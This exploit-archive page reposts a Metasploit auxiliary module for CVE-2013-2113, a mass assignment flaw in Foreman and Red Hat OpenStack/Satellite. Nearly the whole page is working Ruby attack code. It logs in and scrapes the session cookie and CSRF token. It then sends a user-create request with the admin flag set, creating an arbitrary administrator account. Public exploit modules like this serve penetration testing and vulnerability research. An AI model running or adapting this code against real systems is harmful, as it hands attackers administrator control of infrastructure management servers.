Home / exploitsPDF  

Foreman Red Hat OpenStack/Satellite users/create Mass Assignment

Posted on 22 August 2013

<pre>## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit4 &lt; Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize super( 'Name' =&gt; 'Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment', 'Description' =&gt; %q{ This module exploits a mass assignment vulnerability in the 'create' action of 'users' controller of Foreman and Red Hat OpenStack/Satellite (Foreman 1.2.0-RC1 and earlier) by creating an arbitrary administrator account. For this exploit to work, your account must have 'create_users' permission (e.g., Manager role). }, 'Author' =&gt; 'Ramon de C Valle', 'License' =&gt; MSF_LICENSE, 'References' =&gt; [ ['BID', '60835'], ['CVE', '2013-2113'], ['CWE', '915'], ['OSVDB', '94655'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=966804'], ['URL', 'http://projects.theforeman.org/issues/2630'] ], 'DisclosureDate' =&gt; 'Jun 6 2013' ) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('USERNAME', [true, 'Your username']), OptString.new('PASSWORD', [true, 'Your password']), OptString.new('NEWUSERNAME', [true, 'The username of the new admin account']), OptString.new('NEWPASSWORD', [true, 'The password of the new admin account']), OptString.new('NEWEMAIL', [true, 'The email of the new admin account']), OptString.new('TARGETURI', [ true, 'The path to the application', '/']), ], self.class ) end def run print_status(&quot;Logging into #{target_url}...&quot;) res = send_request_cgi( 'method' =&gt; 'POST', 'uri' =&gt; normalize_uri(target_uri.path, 'users', 'login'), 'vars_post' =&gt; { 'login[login]' =&gt; datastore['USERNAME'], 'login[password]' =&gt; datastore['PASSWORD'] } ) if res.nil? print_error('No response from remote host') return end if res.headers['Location'] =~ /users/login$/ print_error('Authentication failed') return else session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/ if session.nil? print_error('Failed to retrieve the current session id') return end end print_status('Retrieving the CSRF token for this session...') res = send_request_cgi( 'cookie' =&gt; &quot;_session_id=#{session}&quot;, 'method' =&gt; 'GET', 'uri' =&gt; normalize_uri(target_uri) ) if res.nil? print_error('No response from remote host') return end if res.headers['Location'] =~ /users/login$/ print_error('Failed to retrieve the CSRF token') return else csrf_param = $1 if res.body =~ /&lt;meta[ ]+content=&quot;(.*)&quot;[ ]+name=&quot;csrf-param&quot;[ ]*/?&gt;/i csrf_token = $1 if res.body =~ /&lt;meta[ ]+content=&quot;(.*)&quot;[ ]+name=&quot;csrf-token&quot;[ ]*/?&gt;/i if csrf_param.nil? || csrf_token.nil? csrf_param = $1 if res.body =~ /&lt;meta[ ]+name=&quot;csrf-param&quot;[ ]+content=&quot;(.*)&quot;[ ]*/?&gt;/i csrf_token = $1 if res.body =~ /&lt;meta[ ]+name=&quot;csrf-token&quot;[ ]+content=&quot;(.*)&quot;[ ]*/?&gt;/i end if csrf_param.nil? || csrf_token.nil? print_error('Failed to retrieve the CSRF token') return end end print_status(&quot;Sending create-user request to #{target_url('users')}...&quot;) res = send_request_cgi( 'cookie' =&gt; &quot;_session_id=#{session}&quot;, 'method' =&gt; 'POST', 'uri' =&gt; normalize_uri(target_uri.path, 'users'), 'vars_post' =&gt; { csrf_param =&gt; csrf_token, 'user[admin]' =&gt; 'true', 'user[auth_source_id]' =&gt; '1', 'user[login]' =&gt; datastore['NEWUSERNAME'], 'user[mail]' =&gt; datastore['NEWEMAIL'], 'user[password]' =&gt; datastore['NEWPASSWORD'], 'user[password_confirmation]' =&gt; datastore['NEWPASSWORD'] } ) if res.nil? print_error('No response from remote host') return end if res.headers['Location'] =~ /users$/ print_good('User created successfully') else print_error('Failed to create user') end end def target_url(*args) (ssl ? 'https' : 'http') + if rport.to_i == 80 || rport.to_i == 443 &quot;://#{vhost}&quot; else &quot;://#{vhost}:#{rport}&quot; end + normalize_uri(target_uri.path, *args) end end </pre>

 

TOP